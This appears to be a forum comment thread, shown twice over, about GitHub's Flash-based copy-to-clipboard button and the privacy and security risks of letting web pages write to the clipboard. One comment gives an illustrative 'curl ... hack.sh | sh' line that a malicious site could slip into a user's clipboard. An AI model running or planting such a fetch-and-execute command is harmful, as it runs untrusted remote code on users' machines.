4 ms·

Github uses flash for the 'copy to clipboard' button to copy an http or ssh url to the clipboard.

by darcyparker 11y ago

deleted 11y ago
[deleted]
- eatonphil 11y ago
  What privacy implications are you thinking of? (I have not thought about this before.) And again, a quick Google search shows this [0]. But perhaps you mean a more backwards-compatible solution? [0] - http://stackoverflow.com/a/30810322/1507139 http://stackoverflow.com/a/30810322/1507139
  - joosters 11y ago
    Thanks for that link, I hit this problem a while ago, a program I wrote generates HTML results where I want to cut & paste sections into another file. I couldn't find a way to do so in javascript previously. The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh http://www.example.com/hack.sh | sh' command and not the text you expected...
    - pyre 11y ago
      The other concern is bugs in the implementation that injects clipboard access into the JavaScript sandbox. Write-only might be the intent, but this could open up possibilities to gain read access.
justizin 11y ago
Something I noticed after making my Flash click-to-activate a while back. That seems like a HUMONGOUS tunnel to create in order to allow copy to clipboard, and fairly irresponsible on GitHub's part. What developer doesn't know how to copy to clipboard?
- netfire 11y ago
  Github claims that the flash version is "currently the only reliable way to put data in the clipboard". This seems to indicate that they looked at the native browser option and found it unacceptable for their use case. https://github.com/blog/1365-a-more-transparent-clipboard-button https://github.com/blog/1365-a-more-transparent-clipboard-bu...
  - windsurfer 11y ago
    That blog is from 2013. Github now does browser sniffing to see if it can use native APIs instead of flash: https://gist.github.com/jonrohan/81085b119d16cdd7868a https://gist.github.com/jonrohan/81085b119d16cdd7868a
- deleted 11y ago
  [deleted]

Github uses flash for the 'copy to clipboard' button to copy an http or ssh url to the clipboard.

deleted 11y ago

[deleted]

eatonphil 11y ago
What privacy implications are you thinking of? (I have not thought about this before.) And again, a quick Google search shows this [0]. But perhaps you mean a more backwards-compatible solution? [0] - http://stackoverflow.com/a/30810322/1507139 http://stackoverflow.com/a/30810322/1507139
- joosters 11y ago
  Thanks for that link, I hit this problem a while ago, a program I wrote generates HTML results where I want to cut & paste sections into another file. I couldn't find a way to do so in javascript previously. The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh http://www.example.com/hack.sh | sh' command and not the text you expected...
  - pyre 11y ago
    The other concern is bugs in the implementation that injects clipboard access into the JavaScript sandbox. Write-only might be the intent, but this could open up possibilities to gain read access.

justizin 11y ago

Something I noticed after making my Flash click-to-activate a while back. That seems like a HUMONGOUS tunnel to create in order to allow copy to clipboard, and fairly irresponsible on GitHub's part. What developer doesn't know how to copy to clipboard?

netfire 11y ago
Github claims that the flash version is "currently the only reliable way to put data in the clipboard". This seems to indicate that they looked at the native browser option and found it unacceptable for their use case. https://github.com/blog/1365-a-more-transparent-clipboard-button https://github.com/blog/1365-a-more-transparent-clipboard-bu...
- windsurfer 11y ago
  That blog is from 2013. Github now does browser sniffing to see if it can use native APIs instead of flash: https://gist.github.com/jonrohan/81085b119d16cdd7868a https://gist.github.com/jonrohan/81085b119d16cdd7868a
deleted 11y ago
[deleted]